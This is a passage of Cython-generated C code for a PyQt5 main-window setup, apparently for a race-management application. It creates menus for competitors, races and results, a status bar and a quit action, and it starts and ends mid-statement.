(unlikely(!__pyx_t_7)) __PYX_ERR(0, 959, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":960 * self.menubar.setFont(font) * self.menubar.setObjectName("menubar") * self.menuFfff = QtWidgets.QMenu(self.menubar) # <<<<<<<<<<<<<< * self.menuFfff.setObjectName("menuFfff") * self.menuConcurrents = QtWidgets.QMenu(self.menubar) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 960, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QMenu); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 960, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menubar); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 960, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 960, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_9}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 960, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_9}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 960, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 960, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 960, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_menuFfff, __pyx_t_7) < 0) __PYX_ERR(0, 960, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":961 * self.menubar.setObjectName("menubar") * self.menuFfff = QtWidgets.QMenu(self.menubar) * self.menuFfff.setObjectName("menuFfff") # <<<<<<<<<<<<<< * self.menuConcurrents = QtWidgets.QMenu(self.menubar) * self.menuConcurrents.setObjectName("menuConcurrents") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menuFfff); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 961, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 961, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__592, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 961, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":962 * self.menuFfff = QtWidgets.QMenu(self.menubar) * self.menuFfff.setObjectName("menuFfff") * self.menuConcurrents = QtWidgets.QMenu(self.menubar) # <<<<<<<<<<<<<< * self.menuConcurrents.setObjectName("menuConcurrents") * self.menuCourses = QtWidgets.QMenu(self.menubar) */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 962, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QMenu); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 962, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menubar); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 962, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_9) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 962, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 962, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 962, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 962, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 962, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_menuConcurrents, __pyx_t_7) < 0) __PYX_ERR(0, 962, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":963 * self.menuFfff.setObjectName("menuFfff") * self.menuConcurrents = QtWidgets.QMenu(self.menubar) * self.menuConcurrents.setObjectName("menuConcurrents") # <<<<<<<<<<<<<< * self.menuCourses = QtWidgets.QMenu(self.menubar) * self.menuCourses.setObjectName("menuCourses") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menuConcurrents); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 963, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 963, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__593, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 963, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":964 * self.menuConcurrents = QtWidgets.QMenu(self.menubar) * self.menuConcurrents.setObjectName("menuConcurrents") * self.menuCourses = QtWidgets.QMenu(self.menubar) # <<<<<<<<<<<<<< * self.menuCourses.setObjectName("menuCourses") * self.menuR_sultats = QtWidgets.QMenu(self.menubar) */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 964, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QMenu); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 964, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menubar); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 964, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 964, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 964, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 964, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 964, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_9, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 964, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_menuCourses, __pyx_t_7) < 0) __PYX_ERR(0, 964, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":965 * self.menuConcurrents.setObjectName("menuConcurrents") * self.menuCourses = QtWidgets.QMenu(self.menubar) * self.menuCourses.setObjectName("menuCourses") # <<<<<<<<<<<<<< * self.menuR_sultats = QtWidgets.QMenu(self.menubar) * self.menuR_sultats.setObjectName("menuR_sultats") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menuCourses); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 965, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 965, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__594, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 965, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":966 * self.menuCourses = QtWidgets.QMenu(self.menubar) * self.menuCourses.setObjectName("menuCourses") * self.menuR_sultats = QtWidgets.QMenu(self.menubar) # <<<<<<<<<<<<<< * self.menuR_sultats.setObjectName("menuR_sultats") * MainWindow.setMenuBar(self.menubar) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 966, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QMenu); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 966, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menubar); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 966, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 966, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 966, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 966, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 966, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 966, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_menuR_sultats, __pyx_t_7) < 0) __PYX_ERR(0, 966, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":967 * self.menuCourses.setObjectName("menuCourses") * self.menuR_sultats = QtWidgets.QMenu(self.menubar) * self.menuR_sultats.setObjectName("menuR_sultats") # <<<<<<<<<<<<<< * MainWindow.setMenuBar(self.menubar) * self.statusbar = QtWidgets.QStatusBar(MainWindow) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menuR_sultats); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 967, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 967, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__595, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 967, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":968 * self.menuR_sultats = QtWidgets.QMenu(self.menubar) * self.menuR_sultats.setObjectName("menuR_sultats") * MainWindow.setMenuBar(self.menubar) # <<<<<<<<<<<<<< * self.statusbar = QtWidgets.QStatusBar(MainWindow) * self.statusbar.setObjectName("statusbar") */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_MainWindow, __pyx_n_s_setMenuBar); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 968, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_menubar); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 968, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 968, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 968, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 968, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 968, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 968, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":969 * self.menuR_sultats.setObjectName("menuR_sultats") * MainWindow.setMenuBar(self.menubar) * self.statusbar = QtWidgets.QStatusBar(MainWindow) # <<<<<<<<<<<<<< * self.statusbar.setObjectName("statusbar") * MainWindow.setStatusBar(self.statusbar) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 969, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QStatusBar); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 969, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_9) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_v_MainWindow); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 969, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_v_MainWindow}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 969, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_v_MainWindow}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 969, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 969, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_INCREF(__pyx_v_MainWindow); __Pyx_GIVEREF(__pyx_v_MainWindow); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_v_MainWindow); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 969, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_statusbar, __pyx_t_7) < 0) __PYX_ERR(0, 969, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":970 * MainWindow.setMenuBar(self.menubar) * self.statusbar = QtWidgets.QStatusBar(MainWindow) * self.statusbar.setObjectName("statusbar") # <<<<<<<<<<<<<< * MainWindow.setStatusBar(self.statusbar) * self.actionQuitter = QtWidgets.QAction(MainWindow) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_statusbar); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 970, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 970, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__596, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 970, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":971 * self.statusbar = QtWidgets.QStatusBar(MainWindow) * self.statusbar.setObjectName("statusbar") * MainWindow.setStatusBar(self.statusbar) # <<<<<<<<<<<<<< * self.actionQuitter = QtWidgets.QAction(MainWindow) * self.actionQuitter.setShortcut("Ctrl+Q") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_MainWindow, __pyx_n_s_setStatusBar); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 971, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_statusbar); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 971, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_9) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_6); if 